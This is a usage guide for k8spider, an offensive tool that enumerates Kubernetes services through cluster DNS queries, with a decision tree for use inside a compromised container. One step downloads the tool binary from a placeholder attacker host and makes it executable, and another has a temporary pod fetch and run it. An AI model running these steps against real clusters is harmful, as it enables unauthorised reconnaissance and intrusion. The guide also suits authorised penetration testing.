k8spider

K8Spider — Kubernetes DNS Service Discovery

k8spider is a DNS-based K8s service discovery tool—as long as you can access the cluster DNS, you can enumerate all Services with low privileges. No API Server Token required, no special permissions required, pure DNS queries get it done.

Project address:https://github.com/Esonhugh/k8spider

Step 1: Run directly (using default parameters)

k8spider will automatically read the DNS server address from /etc/resolv.conf and use the built-in default CIDR. First run it directly:

k8spider all

If there is output, it means the default parameters hit, and you can go directly to the analysis stage.

Step 2: When default parameters produce no results, manually collect network information

If k8spider all finds no information at all, it means the default CIDR or DNS is incorrect, and you need to collect the real parameters from the current machine.

Determine the target CIDR (-c parameter)

The CIDR network segment needs to be extracted from the current container's network configuration:

# 方式 1：从环境变量获取（K8s 注入）
echo $KUBERNETES_SERVICE_HOST
# 返回的 IP 所在网段通常就是 Service CIDR 范围

# 方式 2：从 IP 地址推断
ip addr show  # 或 ifconfig
# 找到容器自身 IP 和掩码，推断所在网段

# 方式 3：从路由表推断
ip route
# 查看路由信息，推断集群网段范围

The Pod network segment and the Service network segment are usually adjacent /16s, and the possible range of the Service CIDR can be inferred from the container's own IP.

Determine and verify the DNS server (-d parameter)

The DNS address must be found through a reliable method and verified as usable:

# 方式 1：从 resolv.conf 读取（最可靠）
cat /etc/resolv.conf
# nameserver 行就是集群 DNS 地址

# 方式 2：用 k8spider 自带命令定位
k8spider whereisdns

# 验证 DNS 是否可达且响应
nslookup kubernetes.default.svc.cluster.local <DNS_IP>
# 或
dig @<DNS_IP> kubernetes.default.svc.cluster.local
# 有正常应答说明 DNS 可用

After verification passes, specify the DNS and run:

k8spider all -d <DNS_IP> -c <CIDR>

Core commands

Full scan (recommended first choice)

Run all discovery methods in one go to obtain the most comprehensive service list:

# 先用默认参数试
k8spider all

# 默认不生效时，用手动收集的参数
k8spider all -c <CIDR> -d <DNS_IP>

# 输出示例：
# [PTR] 10.43.0.10 -> dns-default.kube-system.svc.cluster.local
# [PTR] 10.43.0.1 -> kube-dns.kube-system.svc.cluster.local
# [SRV] _http._tcp.kubernetes.default.svc.cluster.local -> 10.43.0.1:443

PTR record scan (reverse DNS)

Look up domain names from IPs, scanning the network segment IP by IP:

k8spider ptr -c <CIDR>

The logic of PTR scanning: initiate a reverse DNS query for each IP in the CIDR, and K8s DNS will return svc-name.namespace.svc.cluster.local formatted domain names, directly exposing the service name and namespace.

SRV record enumeration

Query DNS SRV records to discover service ports:

k8spider srv -c <CIDR> -z cluster.local

Wildcard DNS query

Use the wildcard resolution feature of K8s DNS to discover services:

k8spider wild -c <CIDR> -z cluster.local

AXFR zone transfer

Attempt a DNS zone transfer to obtain all records of the entire zone at once:

k8spider axfr -z cluster.local -d <DNS_IP>

Note: AXFR is usually restricted, but it is worth a try—if successful, this is the fastest and most comprehensive method.

Same-subnet scan

Discover services in the subnet where the DNS service is located:

k8spider neighbor -d <DNS_IP>

Subnet calculation and scanning

Automatically calculate and scan the subnet where the DNS service is located:

k8spider subnet -d <DNS_IP>

kube-state-metrics parsing

Extract service information from the kube-state-metrics endpoint:

k8spider metrics

Global options

Option	Description	Default value
`-c`	Target CIDR network segment	Built-in default value, depends on the environment
`-z`	DNS zone name	`cluster.local`
`-d`	DNS server address	Read from resolv.conf
`-t`	Enable multithreading	Off
`-n`	Number of threads	10

Use cases

Scenario 1: Use inside a Pod (container shell already obtained)

# 投递二进制到容器
curl -o /tmp/k8spider https://ATTACKER/k8spider && chmod +x /tmp/k8spider

# 直接用默认参数跑
/tmp/k8spider all

# 没结果再收集网络信息手动指定

Scenario 2: Use via kubectl

# 在现有 Pod 中执行
kubectl exec -it target-pod -- ./k8spider all

# 或创建临时 Pod
kubectl run k8spider --image=busybox --restart=Never -- \
  wget -O /tmp/k8spider URL && /tmp/k8spider all

Scenario 3: Remote use (DNS reachability required)

# 必须手动指定 -d 和 -c，远程环境下默认参数基本不适用
k8spider all -c <CIDR> -d <DNS_IP> -z cluster.local

Decision tree

进入容器后：
├─ 第一步：k8spider all（直接用默认参数跑）
├─ 有结果 → 分析输出，拿到服务列表
├─ 无结果 → 收集网络信息
│   ├─ 获取 CIDR：从 ip addr / ifconfig / 环境变量推断
│   ├─ 获取 DNS：cat /etc/resolv.conf 或 k8spider whereisdns
│   └─ 验证 DNS：nslookup kubernetes.default.svc.cluster.local <DNS_IP>
├─ 用收集到的参数重跑：k8spider all -c <CIDR> -d <DNS_IP>
├─ 想要端口信息 → k8spider srv
├─ 赌一把全量 → k8spider axfr
├─ 想快速发现 → k8spider neighbor / k8spider subnet
├─ 有 metrics 端点 → k8spider metrics
└─ 网段大、速度慢 → 加 -t -n 50 开多线程